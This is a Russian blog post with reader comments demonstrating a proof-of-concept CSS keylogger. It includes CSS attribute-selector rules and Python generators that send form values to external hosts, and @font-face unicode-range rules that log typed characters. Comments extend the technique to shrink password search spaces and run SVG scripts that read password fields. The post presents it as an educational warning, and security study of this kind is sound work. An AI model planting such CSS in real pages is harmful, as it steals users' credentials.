Часто бывает так, что внешние JS файлы выглядят как угроза для клиента, в то время как внешнему CSS не придают особого значения. Казалось бы, как CSS правила могут угрожать безопасности вашего приложения, и собирать логины? Если вы считаете что это невозможно, то пост будет вам полезен.


Мы рассмотрим на примерах, как можно реализовать простейший кейлоггер имея доступ только к CSS файлу, подключенному к странице-жертве.


Вступление


Не так давно я написал пост как можно отслеживать действия пользователей с помощью CSS, на который получил вопрос формата "можно ли собрать данные формы с помощью CSS". Возможно, c первого взгляда, покажется что это невозможно. Но давайте посмотрим на CSS селекторы, принимая во внимание, что применять их мы будем к тегу input type="text".


В первую очередь, кажется логичным использовать для этих целей селектор атрибутов
вида input[value^="login"], который позволяет выбрать поля текстовое содержание которых начинается с строки "login".


Мы можем сгенерировать словарь слов, и создать множество CSS правил по шаблону jsfiddle:


input[value^="my_login1"] {
  background: url("https://example.com/save-login/my_login");
} 
input[value^="other_text"] {
  background: url("https://example.com/save-login/other_text");
}  
// ...

У данного подхода есть значительный недостаток, такая схема будет отправлять запросы только в случае, если у тега input изначально был установлен атрибут value на серверной стороне. С другой стороны, бывает так, что после отправки формы пользователю возвращается та же самая форма (с уже заполненными полями) но с списком необходимых исправлений. В таком случае наш метод отработает на 100%.


Напишем небольшой скрипт, для генерации CSS с нужными комбинациями:


import itertools
from string import Template

alphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]

cssTemplate = Template('input[value^="$password"]{background:url("$backend/$password");}').safe_substitute(backend = 'https://x.x/save')

for subset in itertools.combinations(alphabet, 4):
    print(Template(cssTemplate).substitute(password = ''.join(subset)))

Таким образом мы получим 58905 правил, которые после обработки GZIP, вмещаются в файл размером 350K. В случае если на странице-жертве будет обнаружено поле, в котором текст совпадает с одним из наших правил (скажем, начинается со слова "XXXX") — мы получим GET запрос на x.x/save/XXXX.


Работаем с пользовательским вводом


Предварительно заполненные поля в форме встречаются очень редко. Да еще содержимое этого поля может не совпасть с специальным словарем, который мы сгенерировали в предыдущем шаге. Было бы неплохо иметь возможность получать информацию, в тот момент, когда пользователь вводит ее в текстовое поле.


Для этого лучше всего подходит правило @font-face, которое позволяет подключить свой шрифт. А также инструкция unicode-range, которая позволяет сегментировать свой шрифт, явно указывая к каким unicode code point относиться тот или иной файл.


На практике, это обычно выглядит как разделение шрифта на несколько файлов, по языковому признаку (например latin, greek, cyrillic), чтобы клиент загрузил только ту часть шрифта, которая представлена на странице. Возможно вы встречались с таким подходом используя fonts.google.com:


/* https://fonts.googleapis.com/css?family=Roboto:400&subset=latin-ext,cyrillic-ext */
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  src: local('Roboto'), local('Roboto-Regular'), url(https://fonts.gstatic.com/s/roboto/v18/mErvLBYg_cXG3rLvUsKT_fesZW2xOQ-xsNqO47m55DA.woff2) format('woff2');
  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}

Подобным образом, мы можем создать собственный шрифт, и указать для каждого символа отдельное правило. Тем самым заставляя браузер делать GET запрос как только этот символ понадобиться для отображения.


Рассмотрим такой пример jsfiddle:


@font-face {
  font-family: spyFont;
  src: url(c/d/keylogger/a), local(Arial);
  unicode-range: U+0061;
}
input {
  font-family: spyFont, sans-serif;
}

В данном случае U+0061 соответствует символу "A". При вводе символа мы получим GET запрос к c/d/keylogger/a.


Рассмотрим небольшой скрипт, который позволит сгенерировать шрифт для символов по словарю:


from string import Template

alphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]

cssTemplate = Template('@font-face {font-family:$fontName; src:url(/keylogger/$char), local(Impact); unicode-range: U+$codepoint;}').safe_substitute(fontName = 'spyFont')

for char in alphabet:
    codepoint = ('U+%04x' % ord(char))
    print(Template(cssTemplate).substitute(char = char, codepoint = codepoint))

Такими правилами, мы создадим шрифт который будет логировать ввод пользователя на наш сервер. Данный подход тоже не идеален: запросы на символ приходят один раз на каждый символ. Другими словами, если пользователь введет "АА", мы получим один GET.


Подведем итоги


Применив комбинацию статичного словаря с директивами input[value^="XX"] и правил unicode-range для каждого символа в отдельности, мы сможем собрать уже значительный набор данных для предсказания актуального ввода пользователя. Пример такой комбинации вы можете найти тут.


Будьте осторожны с подключаемыми CSS файлами из внешних источников.


Данный пост написан исключительно как proof-of-concept в ознакомительных целях.

Комментарии (27)


  1. vitaliy2
    04.02.2018 06:26

    Если не брать в расчёт шрифты, то можно комбинировать как префиксный селектор, так и постфиксный + селектор подстроки.

    1. Возьмём 12-символьный рандомный пароль по 95-символьному словарю. Его перебор занимает где-то 1 млрд лет (540 секстиллионов вариантов).
    2. Далее селекторами наличия подстроки (*=) уменьшим размер словаря до 12 символов. Время перебора сократилось до 5 дней (10 трлн вариантов). Мы добавили 95 правил.
    3. Далее префиксными селекторами узнаём первые 2 символа. Таким образом длина пароля уменьшается на 2 символа, и перебор занимает от 1 часа (62 млрд вариантов). Добавилось +9025 правил.
    4. Далее постфиксными селекторами узнаём последние 2 символа. Пароль уменьшается ещё на 2 символа, и перебор занимает от 20 секунд (430 млн вариантов). Добавилось +9025 правил, суммарно 18145 правил.

    В итоге 1 млрд лет превратился в 20 секунд. Конечно, тут зависит от мощности сервера, лимитов на перебов, капчи и пр., но уменьшение стойкости пароля всё-равно очень серьёзное.

    9-символьный пароль сократится с 999 лет (630 квадриллионов вариантов) до 3 мс (59 тыс вариантов).

    PS. В расчётах принималось, что сервера сайта могут выдержать 20 млн запросов в секунду (конечно, большинство сайтов столько не выдержат). Трафик примерно от 10 Гбит/с и более.


    1. hcbogdan Автор
      04.02.2018 11:09
      +1

      На счет постфиксного селектора — хорошая идея. Мы можем собирать постфиксным селектором не пароли а именно логины, в качестве которых часто выступают номера телефонов. Бывает так, что номер телефона заранее установлен в поле для ввода, и остается ввести пароль.
      В этом случае, постфиксным селектором мы соберем отличную базу номеров.


  1. manoftheyear
    04.02.2018 09:32

    А в курсе ли разработчики CSS таких дыр? И не прикроют ли они в будущем возможность отправлять запросы через url() на удалённые сервера?
    Понятно, что это урежет гибкость, но не пожертвуют ли они ей ради безопасности?


    1. vitaliy2
      04.02.2018 09:51

      Так необязательно же грузить content: url(), можно и backgroung-image: url() и многое другое. Или Вы предлагаете все картинки в html-коде прописывать?

      Даже если бы мы всё убрали, ну всё-равно значит можно прописать в html-коде, а потом просто скрыть/открыть элемент с помощью css. Да и какой смысл убирать? Всё то же самое можно сделать и скриптами. Разве что когда кто-то грузит чужой css, но много ли кто так делает?


      1. manoftheyear
        04.02.2018 10:27

        Я не имел ввиду вообще запретить url(). Я имел ввиду запретить url() отправлять запросы на удалённые сервера. А запрос на свой же сервер (на котором лежит сам css-файл) оставить. Хотя, действительно, смысл не велик. Если всё тоже самое можно сделать из html, но думаю, ответственных за css, проблемы html не особо волнуют.



    1. esc
      04.02.2018 09:53

      Тут скорее логично более агрессивное кэширование сделать. И это будут делать не разработчики CSS, а разработчики браузеров (как закрывали ранее дырки с посещенными ссылками, например)
      url не запретят т.к. слишком много сайтов сломается единовременно из-за этого. Да и не логично.


  1. jMas
    04.02.2018 10:22

    форма (с уже заполненными полями) но с списком необходимых исправлений. В таком случае наш метод отработает на 100%.

    Поле с паролем обычно принято не заполнять (но такая вероятность все равно остается).


  1. demimurych
    04.02.2018 10:47

    Простите если я чего то не понял, но…

    А каким образом код на загрузку такого css будет вставлен в страницу? Если на серверной стороне — то зачем мне морочить голову с таким кейлогером, когда я могу реализовать его гораздо эффективнее на серверной стороне. Если на стороне клиента, то есть есть xss и она работает — то опять нет смысла морочить себе голову с кейлогером на css — эффективнее будет тот же на js.

    Единственный сценарий использования это когда разработчик сам вставил ссылку на ваш внешний css к себя на страницу, но это уже очень специфический вектор атаки.


    1. hcbogdan Автор
      04.02.2018 11:12
      +3

      Вы все правильно поняли, это тот самый случай когда на странице-жертве подключен внешний CSS. Или не внешний, а просто есть возможность внедрить стили на страницу-жертву.


    1. VolCh
      04.02.2018 12:49
      +1

      XSS предполагает именно скриптинг. Простейшая защита может тупо вырезать теги скрипт, обжект и т. п., оставляя безобидный стайл для оформления.


      1. ainu
        04.02.2018 17:39

        Вот тут кроется рецепт (на будущее) защиты.
        Если мы разрешаем внедрять HTML, запрещая некоторые правила по собственному словарю (например, запрещаем теги


  1. kalininmr
    04.02.2018 16:55

    а точно input[value^=«login»]?
    почему не по имени поля?


    1. hcbogdan Автор
      04.02.2018 17:19

      Зачем нам выбирать поля по имени? Смысл селектора собрать то, что находиться в атрибуте value — и отправить на внешний сервер с помощью инструкции url(). Посмотрите пример — jsfiddle.net/hcbogdan/1wdky4t6/1


      1. kalininmr
        04.02.2018 17:34

        а… видимо немного невъехал в суть.


  1. JuniorDev
    04.02.2018 19:41

    Как долго я ждал выхода этой статьи!


  1. vlasenkofedor
    05.02.2018 01:07

    Что мешает в svg засунуть js он там исполнится
    В css ссылку на svg


    1. Chamie
      05.02.2018 01:19

      Может, тогда уж сразу SVG через data: uri?


  1. vlasenkofedor
    05.02.2018 02:24

    Не получается как написал. Скрипт не исполняется
    В то-же время если открыть файл в браузере, alert выведется

    Файл svg
    <svg width="100%" height="100%" viewBox="0 0 50 50"
         xmlns="http://www.w3.org/2000/svg"
         xmlns:xlink="http://www.w3.org/1999/xlink">
        <script>alert("ok");</script>
        <circle cx="25" cy="25" r="25"/>
    </svg>
    


    1. Stalker_RED
      05.02.2018 20:54

      Исполняется, и есть доступ к элементам за пределами SVG
      jsfiddle.net/Stalk/v4a7n92h (при вводе в input[type=password] его содержимое копируется в консоль)


      1. mayorovp
        05.02.2018 20:59

        Это в тэге svg исполняется. А вот через img — не должно.


  1. alexey-m-ukolov
    05.02.2018 08:38

    <?php
    from string import Template
    Это пасхалка такая?


    1. hcbogdan Автор
      05.02.2018 10:03

      1. alexey-m-ukolov
        05.02.2018 10:13

        Я понимаю, что Питон, но почему открывающий тег php-то? :)


        1. hcbogdan Автор
          05.02.2018 10:24

          Тут просто моя невнимательность. Спасибо за замечание — поправил.


  1. Methos
    06.02.2018 21:31

    Вероятно, если файл шрифта не кешировать, то браузер будет постоянно брать файл шрифта на каждый запрос, но это нужно проверять.


    1. hcbogdan Автор
      06.02.2018 21:34

      Уже проверено. Можете взять приер тут jsfiddle.net/hcbogdan/tbg7wd4n
      Кеширующие заголовки имеют влияние только при повторном вводе (в следующем сеансе).